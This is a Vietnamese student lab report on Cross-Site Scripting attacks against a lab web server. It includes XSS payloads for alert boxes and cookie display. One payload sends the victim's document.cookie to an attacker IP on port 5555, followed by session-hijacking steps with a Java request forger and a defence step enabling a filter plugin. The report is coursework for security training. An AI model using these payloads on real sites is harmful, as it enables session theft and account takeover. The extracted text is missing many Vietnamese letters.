Lỗ hổng này cho phép kẻ tấn công chèn m độc ví dụ: các chương trình JavaScript vào trình duyệt web của nạn nhân.. Bằng cách sử dụng m độc này, kẻ tấn công có thể đánh cắp các thông tin
Trang 1HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA AN TOÀN THÔNG TIN - o0o -
BÁO CÁO BÀI THỰC HÀNH Tấn công Cross Site Scripting vào máy chủ web
Ging viên: Ninh Th Thu Trang
Họ và tên : L Th Khanh
Mã sinh viên : B21DCAT109
Hà Nội - 2024
Trang 21 Tìm hiểu lý thuyt
1.1 Cross-site scripting
Cross-site scripting (XSS) là một loại lỗ hổng thường thấy trong các ứng dụng web Lỗ hổng này cho phép kẻ tấn công chèn m độc (ví dụ: các chương trình JavaScript) vào trình duyệt web của nạn nhân Bằng cách sử dụng m độc này, kẻ tấn công có thể đánh cắp các thông tin xác thực của nạn nhân, chẳng hạn như cookie phiên làm việc Các chính sách kiểm soát truy cập (ví dụ: chính sách cùng nguồn gốc) được trình duyệt sử dụng để bo vệ các thông tin này có thể b vượt qua bằng cách khai thác lỗ hổng XSS Những lỗ hổng dạng này có thể dẫn đn các cuộc tấn công quy mô lớn
Có 3 loại XSS chính:
• Stored XSS: Xy ra khi m độc được lưu trữ vĩnh viễn trên máy chủ và được chạy mỗi khi người dùng truy cập vào trang
• Reflected XSS: Xy ra khi m độc được nhúng trong URL hoặc các yêu cầu HTTP
và được phn hồi ngay lập tức khi người dùng truy cập
• DOM-based XSS: Xy ra khi lỗ hổng nằm ở phía client và dữ liệu không được gửi lên máy chủ mà b sửa đổi trực tip trên DOM của trang
1.2 Javascript và Web Developer / Network tools
JavaScript là ngôn ngữ lập trình phía client được sử dụng rộng ri để thêm tính tương tác cho các trang web Trong bài lab này, JavaScript là công cụ chính để thực hiện các cuộc tấn công XSS Kẻ tấn công có thể chèn m JavaScript độc hại vào các biểu mẫu (form), và khi người dùng khác truy cập vào hồ sơ b nhiễm, đoạn m này sẽ được thực thi trong trình duyệt của họ
Các tính năng sử dụng : document.cookie document.write() alert() , ,
1.3 Web Developer / Network tools
Công dụng của network tools :
• Xem các request đ được gửi đi
• Xem các thông tin nhận về
• Block các request không mong muốn
• Kiểm thử trang web với các điều kiện khác nhau (internet chậm nhanh, cache có hoặc không )
1.4 Ajax và Java
Ajax là một kỹ thuật sử dụng JavaScript để gửi và nhận dữ liệu từ máy chủ mà không cần phi ti lại toàn bộ trang web Trong bài lab này, Ajax có thể được sử dụng để gửi các yêu cầu HTTP bất đồng bộ (asynchronous) nhằm ăn cắp dữ liệu hoặc thực hiện hành
vi trái phép mà người dùng không nhận ra
Trang 3Trong bài lab, Java được sử dụng để thực hiện các cuộc tấn công gi mạo phiên làm việc (Session Hijacking) Điều này được thực hiện bằng cách gửi các yêu cầu HTTP có chứa cookie phiên của nạn nhân tới máy chủ Java là một ngôn ngữ lập trình mạnh mẽ,
có thể được sử dụng để tự động hóa việc gửi các yêu cầu HTTP với đầy đủ thông số và
dữ liệu cần thit cho các cuộc tấn công
2 Nội dung thực hành
2.1 Task 1 : Sử dụng m độc hại hiện th cửa sổ cnh báo
- Đăng nhập tài khon Samy với máy attacker và Alice với máy victim
- Trong profile của Samy chèn m : <script>alert('XSS');</script>
Trang 4Lưu lại > Kt qu :
Trang 5-Vào mục more chọn member bên tài khon alice
2.2 Task 2 : Sử dụng m độc hại hiện th Cookies trên cửa sổ cnh báo
- Chèn mã : <script>alert(document.cookie);</script>
➔ Kt qu :
Trang 6Lấy được cookie
2.3 Task 3 : Ăn cắp Cookies từ máy của nạn nhân
- Chèn mã <script>document.write('<img src=http://attacker_IP_address:5555?c= escape(document.cookie) + ' >'); </script> ( Với đa chỉ máy attack là : 172.25.0.3)
Trang 7- Sau đó mở terminal của attacker chạy chương trình echoserver để lắng nghe các yêu cầu HTTP và thu được cookie của máy victim
-
2.4 Chim đoạt phiên làm việc (Session Hijacking)
- Mở terminal của attacker và vào thư mục chứa file HTTPSimpleForge
- Chỉnh sửa chương trình Java trong HTTPSimpleForge.java để thêm cookie đ đánh cắp(ở task 3)
Trang 8-
- Biên dch và chạy chương trình
➔ Kt qu tr về 200 -> khai thác thành công
- Load lại trang của máy victim ta nhận được kt qu tài khon alice đ kt bạn với tài khon samy
Trang 92.5 Phòng chống
- Đăng xuất và đăng nhập tài khon admin
Trang 10- Sau đó chọn Plugin và lọc Security and Spam và kích hoạt HTMLawed 1.8
- Thử lại với task 1 và task 2
Trang 113 Kt luận
Qua bài lab, chúng ta đ khám phá và thực hiện một số kỹ thuật khai thác lỗ hổng Cross -Site Scripting (XSS), một trong những lỗ hổng bo mật phổ bin và nguy hiểm nhất trong các ứng dụng web Thông qua các nhiệm vụ, ta thấy được cách kẻ tấn công có thể
sử dụng m độc JavaScript để thực hiện các hành vi bất hợp pháp như đánh cắp cookie, chim đoạt phiên làm việc (session hijacking), và thậm chí lan truyền m độc qua các hồ
sơ người dùng Từ đó người dùng có cái nhìn sâu hơn về những rủi ro tiềm tàng trong các ứng dụng web và các bước cần thit để gim thiểu các rủi ro này Việc hiểu rõ cách thức hoạt động của các công cụ bo mật và các nguyên tắc lập trình an toàn là rất quan trọng để bo vệ các hệ thống web trong môi trường thực t